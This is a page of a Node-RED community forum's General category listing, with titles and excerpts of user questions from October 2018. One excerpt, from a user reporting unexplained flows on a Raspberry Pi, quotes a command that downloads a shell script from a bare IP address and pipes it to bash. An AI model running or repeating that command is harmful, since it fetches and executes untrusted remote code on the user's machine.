# General

**URL:** https://discourse.nodered.org/c/general/7.md?page=943

[Latest](https://discourse.nodered.org/latest.md) · [Categories](https://discourse.nodered.org/categories.md) · [Tags](https://discourse.nodered.org/tags.md)

**Page:** 944

---

## [Delay inside function node between messages?](https://discourse.nodered.org/t/delay-inside-function-node-between-messages/3736)

<div class="topic-metadata">

**Author:** [@dakure](https://discourse.nodered.org/u/dakure)\
**Replies:** 14\
**Last updated:** [9 October 2018 01:35 UTC](https://discourse.nodered.org/t/delay-inside-function-node-between-messages/3736 "2018-10-09T01:35:03Z")

</div>

Hi! I am a newbie of NodeRed and loving it so far. Thank you all for this amazing tool! In this example from documentation is it posible to have a delays between messages inside the function node? var msg1 = { payload:…

---

## [Not able to get data from Weather.gov](https://discourse.nodered.org/t/not-able-to-get-data-from-weather-gov/3803)

<div class="topic-metadata">

**Author:** [@Rednecknerd](https://discourse.nodered.org/u/Rednecknerd)\
**Replies:** 8\
**Last updated:** [8 October 2018 23:25 UTC](https://discourse.nodered.org/t/not-able-to-get-data-from-weather-gov/3803 "2018-10-08T23:25:04Z")

</div>

Hi, new user here. Still making my way through the tuts. I need to get the Barometric data from one of the following sites. https://w1.weather.gov/data/obhistory/KRVS.html or https://w1.weather.gov/xml/current\_obs/K…

---

## [Windows build tools install always needed during node red 0.19.x install](https://discourse.nodered.org/t/windows-build-tools-install-always-needed-during-node-red-0-19-x-install/3797)

<div class="topic-metadata">

**Author:** [@Lace](https://discourse.nodered.org/u/Lace)\
**Replies:** 1\
**Last updated:** [8 October 2018 23:01 UTC](https://discourse.nodered.org/t/windows-build-tools-install-always-needed-during-node-red-0-19-x-install/3797 "2018-10-08T23:01:13Z")

</div>

Hi, on Windows, if I install node-red 0.19 it is always the case that the bcrypt module can not be found as precompiled version and therefore the installation of windows build tools is always necessary. Unfortunately wi…

---

## [Format value for Mqtt](https://discourse.nodered.org/t/format-value-for-mqtt/3759)

<div class="topic-metadata">

**Author:** [@MupeTTz](https://discourse.nodered.org/u/MupeTTz)\
**Replies:** 12\
**Last updated:** [8 October 2018 16:45 UTC](https://discourse.nodered.org/t/format-value-for-mqtt/3759 "2018-10-08T16:45:53Z")

</div>

Hi there, I'm new here as you can see :slight\_smile: I need a little help with my project I'm getting this: {"payload":\[15,32,1,1,0,9,8,183,87,91,2,183,87,255,1,195,130\],"port":"/dev/ttyUSB0","\_msgid":"efd1e1ef.29c8e","…

---

## [Error: ER\_PARSE\_ERROR](https://discourse.nodered.org/t/error-er-parse-error/3771)

<div class="topic-metadata">

**Author:** [@tramanah](https://discourse.nodered.org/u/tramanah)\
**Replies:** 3\
**Last updated:** [8 October 2018 08:22 UTC](https://discourse.nodered.org/t/error-er-parse-error/3771 "2018-10-08T08:22:10Z")

</div>

Good day, Below is json data coming from MQTT. I am trying to insert in mariadb. "{"DeviceId":4,"Line":1,"outPin":"GPIO 7","count":50,"Time":"2018-10-08 12:04:48"}" I did create function block with the following script…

---

## [Set Flow without using Function node](https://discourse.nodered.org/t/set-flow-without-using-function-node/3770)

<div class="topic-metadata">

**Author:** [@whatsupskip](https://discourse.nodered.org/u/whatsupskip)\
**Replies:** 2\
**Last updated:** [8 October 2018 03:18 UTC](https://discourse.nodered.org/t/set-flow-without-using-function-node/3770 "2018-10-08T03:18:56Z")

</div>

If I understand correctly, the use of the Function Node should be avoided as it uses many resources. What is the correct way to Set a Flow without using a Function Node? I thought it could be done by using a Change Nod…

---

## [Pythonshell use in Node-red](https://discourse.nodered.org/t/pythonshell-use-in-node-red/3326)

<div class="topic-metadata">

**Author:** [@Chris](https://discourse.nodered.org/u/Chris)\
**Replies:** 13\
**Last updated:** [8 October 2018 01:50 UTC](https://discourse.nodered.org/t/pythonshell-use-in-node-red/3326 "2018-10-08T01:50:16Z")

</div>

Dears, I have installed pythonshell and want to exec BACpypres script. For example "\>python /home/pi/bacpypes/samples/RandomAnalogValueSleep.py --ini BACpypes,ini". However, I don't know how to do it correctly. Could y…

---

## [Raspbian, node-red-email and v0.19.4 update fails?](https://discourse.nodered.org/t/raspbian-node-red-email-and-v0-19-4-update-fails/3739)

<div class="topic-metadata">

**Author:** [@wb666greene](https://discourse.nodered.org/u/wb666greene)\
**Replies:** 4\
**Last updated:** [7 October 2018 16:20 UTC](https://discourse.nodered.org/t/raspbian-node-red-email-and-v0-19-4-update-fails/3739 "2018-10-07T16:20:31Z")

</div>

I've just setup a new Pi3B+ with latest Raspbian + all updates and installed the Movidius sdk V2. Before I clone the card, I installed node-red from the "Software Center" and then ran the upgrade script. Manage Pallet …

---

## [On microphone node](https://discourse.nodered.org/t/on-microphone-node/3757)

<div class="topic-metadata">

**Author:** [@mshaz](https://discourse.nodered.org/u/mshaz)\
**Replies:** 1\
**Last updated:** [7 October 2018 14:38 UTC](https://discourse.nodered.org/t/on-microphone-node/3757 "2018-10-07T14:38:25Z")

</div>

Hi How do i switch on the microphone node on boot. I am making a robot that can translate and i don't want to use the nodered interface to on the mic manually. ' Thank you

---

## [Missing and mysterious new flows](https://discourse.nodered.org/t/missing-and-mysterious-new-flows/3421)

<div class="topic-metadata">

**Author:** [@johntalbott](https://discourse.nodered.org/u/johntalbott)\
**Replies:** 13\
**Last updated:** [7 October 2018 11:38 UTC](https://discourse.nodered.org/t/missing-and-mysterious-new-flows/3421 "2018-10-07T11:38:07Z")

</div>

When I just logged into my node-red server, some of my flows are missing and I see a ton of new random flows that that all look like the below. Any idea what's going on here?

---

## [Hue Magic - Dashboard slider for brightness ?!](https://discourse.nodered.org/t/hue-magic-dashboard-slider-for-brightness/3727)

<div class="topic-metadata">

**Author:** [@nodecentral](https://discourse.nodered.org/u/nodecentral)\
**Replies:** 14\
**Last updated:** [7 October 2018 09:46 UTC](https://discourse.nodered.org/t/hue-magic-dashboard-slider-for-brightness/3727 "2018-10-07T09:46:22Z")

</div>

Hi I’m struggling to make a dashboard slider work as a brightness level controller for a hue light bulb. I already have an injection node (below) with JavaScript that works to set a specific brightness level , it sends…

---

## [ObjectId Mongodb](https://discourse.nodered.org/t/objectid-mongodb/3612)

<div class="topic-metadata">

**Author:** [@number005](https://discourse.nodered.org/u/number005)\
**Replies:** 6\
**Last updated:** [6 October 2018 19:59 UTC](https://discourse.nodered.org/t/objectid-mongodb/3612 "2018-10-06T19:59:32Z")

</div>

Hi guys, I have inserted a few datasets into my mongodb. Worked fine with my "mongodb3" Node. Now I want to query one single data object, and I have the \_id of this object. Nevertheless I am not able to get it in the r…

---

## [More security considerations](https://discourse.nodered.org/t/more-security-considerations/3678)

<div class="topic-metadata">

**Author:** [@TotallyInformation](https://discourse.nodered.org/u/TotallyInformation)\
**Replies:** 2\
**Last updated:** [6 October 2018 09:41 UTC](https://discourse.nodered.org/t/more-security-considerations/3678 "2018-10-06T09:41:09Z")

</div>

Continuing the various threads about Node-RED security, I wanted to highlight another issue you may face. This is common to any NodeJS application. You can get security vulnerabilities via many channels of course. The o…

---

## [Scrolling in EDIT window, strange things happening](https://discourse.nodered.org/t/scrolling-in-edit-window-strange-things-happening/3729)

<div class="topic-metadata">

**Author:** [@Trying\_to\_learn](https://discourse.nodered.org/u/Trying_to_learn)\
**Replies:** 2\
**Last updated:** [6 October 2018 07:04 UTC](https://discourse.nodered.org/t/scrolling-in-edit-window-strange-things-happening/3729 "2018-10-06T07:04:01Z")

</div>

Sorry folks, but this is a new one. NR 19.4. I am zoomed out a fair bit and am dragging the window around. (The view) I get this request popping up. See attached and note red rectangle around request. I can't capt…

---

## [Barcode Scanner Byte Array Conversion Node](https://discourse.nodered.org/t/barcode-scanner-byte-array-conversion-node/3639)

<div class="topic-metadata">

**Author:** [@jewendt](https://discourse.nodered.org/u/jewendt)\
**Replies:** 3\
**Last updated:** [6 October 2018 01:52 UTC](https://discourse.nodered.org/t/barcode-scanner-byte-array-conversion-node/3639 "2018-10-06T01:52:35Z")

</div>

Has anyone created a node that would convert a byte array to a string value? I created several nodes that do the job but I was wondering if anyone has created a single node that would do it. Seems like it would be usefu…

---

## [FTP Put Error flow dont start anymore](https://discourse.nodered.org/t/ftp-put-error-flow-dont-start-anymore/3713)

<div class="topic-metadata">

**Author:** [@b35b5dad43ea282b65d0](https://discourse.nodered.org/u/b35b5dad43ea282b65d0)\
**Replies:** 4\
**Last updated:** [5 October 2018 19:26 UTC](https://discourse.nodered.org/t/ftp-put-error-flow-dont-start-anymore/3713 "2018-10-05T19:26:37Z")

</div>

5 Oct 14:29:31 - Error: getaddrinfo ENOTFOUND ftp://hostname:21 at errnoException (dns.js:50:10) at GetAddrInfoReqWrap.onlookup \[as oncomplete\] (dns.js:92:26) Hi, I tried to send a file via ftp to an ftp server. But…

---

## [Invert does not invert msg.payload from a switch](https://discourse.nodered.org/t/invert-does-not-invert-msg-payload-from-a-switch/3715)

<div class="topic-metadata">

**Author:** [@Matthew](https://discourse.nodered.org/u/Matthew)\
**Replies:** 13\
**Last updated:** [5 October 2018 16:34 UTC](https://discourse.nodered.org/t/invert-does-not-invert-msg-payload-from-a-switch/3715 "2018-10-05T16:34:02Z")

</div>

If I connect a dashboard switch to a boolean invert, no inversion takes place when I activate the switch. In fact the status of the invert remains as 'unknown' and there is no output in debug. If I use a boolean inject t…

---

## [Running Node Red in Windows](https://discourse.nodered.org/t/running-node-red-in-windows/3697)

<div class="topic-metadata">

**Author:** [@dedynobre](https://discourse.nodered.org/u/dedynobre)\
**Replies:** 25\
**Last updated:** [5 October 2018 13:05 UTC](https://discourse.nodered.org/t/running-node-red-in-windows/3697 "2018-10-05T13:05:56Z")

</div>

Hello guys I'm running the red node with windows and would like to know how to automatically start it. With the task manager it did not work well. I configured using NSSM and until it starts but when I changed, for ex…

---

## [Node Red create Flows "automatically"](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692)

<div class="topic-metadata">

**Author:** [@pcpaulo](https://discourse.nodered.org/u/pcpaulo)\
**Replies:** 4\
**Last updated:** [5 October 2018 11:05 UTC](https://discourse.nodered.org/t/node-red-create-flows-automatically/3692 "2018-10-05T11:05:34Z")

</div>

I have node red installed on Raspberry and every day when i open the monitor there is a new flow with unknown name access a server http://192.99.142.240:8220/mr.sh | bash -sh. Any Idea the reason for that?

---

## [Need help with a simple function](https://discourse.nodered.org/t/need-help-with-a-simple-function/3708)

<div class="topic-metadata">

**Author:** [@rednode](https://discourse.nodered.org/u/rednode)\
**Replies:** 6\
**Last updated:** [5 October 2018 09:19 UTC](https://discourse.nodered.org/t/need-help-with-a-simple-function/3708 "2018-10-05T09:19:25Z")

</div>

Hi, as a nodered /json noob i need some assistance from the crowd. i used the ping node to check if my devices are on or offline. the node sends ping results or if ping failes, a false result. now i want to rewrite th…

---

## [Node-Red in Docker Backup - Flows location](https://discourse.nodered.org/t/node-red-in-docker-backup-flows-location/3681)

<div class="topic-metadata">

**Author:** [@Gnomi](https://discourse.nodered.org/u/Gnomi)\
**Replies:** 6\
**Last updated:** [5 October 2018 08:49 UTC](https://discourse.nodered.org/t/node-red-in-docker-backup-flows-location/3681 "2018-10-05T08:49:45Z")

</div>

Hi, perhaps I have overseen it. But my Docker is always restarting after my last Node-Red flow extensions. perhaps due to the node-red-contrib-ccu node. I did not store some flows with export but have a docker .tar expo…

---

## [== and === confusion](https://discourse.nodered.org/t/and-confusion/3642)

<div class="topic-metadata">

**Author:** [@edje11](https://discourse.nodered.org/u/edje11)\
**Replies:** 3\
**Last updated:** [5 October 2018 07:51 UTC](https://discourse.nodered.org/t/and-confusion/3642 "2018-10-05T07:51:54Z")

</div>

if (msg.payload\[i\].Active== 0) this will test fine and everything is working as it should be. However the editor in the function node gives me a warning Use '===' to compare with '0'. So if I change that to if (msg.pay…

---

## [Add cookies to HTTP Request node](https://discourse.nodered.org/t/add-cookies-to-http-request-node/3641)

<div class="topic-metadata">

**Author:** [@sallen135](https://discourse.nodered.org/u/sallen135)\
**Replies:** 1\
**Last updated:** [5 October 2018 07:45 UTC](https://discourse.nodered.org/t/add-cookies-to-http-request-node/3641 "2018-10-05T07:45:25Z")

</div>

Hello everyone, I am trying to search through the mac addresses of all of the devices on my network. I can use the developer tools to see the exact page being called that has all of the info I am interested in and is JSO…

---

## [Subflow and Alexa Local not compatible?](https://discourse.nodered.org/t/subflow-and-alexa-local-not-compatible/3704)

<div class="topic-metadata">

**Author:** [@SteveMann](https://discourse.nodered.org/u/SteveMann)\
**Replies:** 0\
**Last updated:** [5 October 2018 03:08 UTC](https://discourse.nodered.org/t/subflow-and-alexa-local-not-compatible/3704 "2018-10-05T03:08:30Z")

</div>

Some of my flows are getting well populated, so making subflows out of some of them sounded like a solution. But, when I make a subflow that includes an Alexa Local node, I had to tell Alexa to discover the devices agai…

---

## [Dashboard increase text font size - newbie](https://discourse.nodered.org/t/dashboard-increase-text-font-size-newbie/3701)

<div class="topic-metadata">

**Author:** [@devid3an](https://discourse.nodered.org/u/devid3an)\
**Replies:** 3\
**Last updated:** [5 October 2018 01:22 UTC](https://discourse.nodered.org/t/dashboard-increase-text-font-size-newbie/3701 "2018-10-05T01:22:01Z")

</div>

Hi im creating a smart alarm clock with weather etc so im using the dashboard the weather is updating perfectly and the widgets are starting to look nice the more i fiddle with how it looks. something i just can't goo…

---

## [Moment is not defined & format to get duration of seconds](https://discourse.nodered.org/t/moment-is-not-defined-format-to-get-duration-of-seconds/3672)

<div class="topic-metadata">

**Author:** [@tramanah](https://discourse.nodered.org/u/tramanah)\
**Replies:** 4\
**Last updated:** [5 October 2018 01:21 UTC](https://discourse.nodered.org/t/moment-is-not-defined-format-to-get-duration-of-seconds/3672 "2018-10-05T01:21:36Z")

</div>

I am trying to subtract time now() with data from mysql. Over here, M\_Start = "08:15:00" Example Current = "22:02:39" My intention is to get total seconds of the different . While using moment function : error messa…

---

## [Install NODE-RED offline](https://discourse.nodered.org/t/install-node-red-offline/3674)

<div class="topic-metadata">

**Author:** [@fabriciovribeiro](https://discourse.nodered.org/u/fabriciovribeiro)\
**Replies:** 1\
**Last updated:** [4 October 2018 22:23 UTC](https://discourse.nodered.org/t/install-node-red-offline/3674 "2018-10-04T22:23:16Z")

</div>

Hello, How do I install Node-RED on computers that do not have internet access? What procedures should I do to install it? I already managed to install it at home, but not at school. I have the folders: npm and npm-c…

---

## [Node-red-contrib-google publish](https://discourse.nodered.org/t/node-red-contrib-google-publish/3699)

<div class="topic-metadata">

**Author:** [@tgilkerson](https://discourse.nodered.org/u/tgilkerson)\
**Replies:** 0\
**Last updated:** [4 October 2018 22:20 UTC](https://discourse.nodered.org/t/node-red-contrib-google-publish/3699 "2018-10-04T22:20:23Z")

</div>

Does anyone know how to format a message for the "google node" (node-red-contrib-google) I am trying the following: Connection: {{my connections info}} API: pubsub:v1 Operation: projects.topic.publish I was able to p…

---

## [Node-RED hangs when manipulating MSSQL data](https://discourse.nodered.org/t/node-red-hangs-when-manipulating-mssql-data/3686)

<div class="topic-metadata">

**Author:** [@arneym](https://discourse.nodered.org/u/arneym)\
**Replies:** 1\
**Last updated:** [4 October 2018 19:24 UTC](https://discourse.nodered.org/t/node-red-hangs-when-manipulating-mssql-data/3686 "2018-10-04T19:24:33Z")

</div>

I have a SQL command that uses 2 date parameters. If I only request a week or 2, everything runs fine. I can request a month and bypass a change and split node, and it will run. If I run this code in a change node: \[ …

---

## [How would you do this? (Dashboard Switch)](https://discourse.nodered.org/t/how-would-you-do-this-dashboard-switch/3628)

<div class="topic-metadata">

**Author:** [@SteveMann](https://discourse.nodered.org/u/SteveMann)\
**Replies:** 12\
**Last updated:** [4 October 2018 17:38 UTC](https://discourse.nodered.org/t/how-would-you-do-this-dashboard-switch/3628 "2018-10-04T17:38:10Z")

</div>

I would like to put a switch on the dashboard that simply interrupts a flow. I have a BigTimer that controls my lawn sprinkler flow. It works great- on schedule, the BigTimer starts a cascading set of timers to control…

[Previous page](https://discourse.nodered.org/c/general/7.md?page=942)

[Next page](https://discourse.nodered.org/c/general/7.md?page=944)
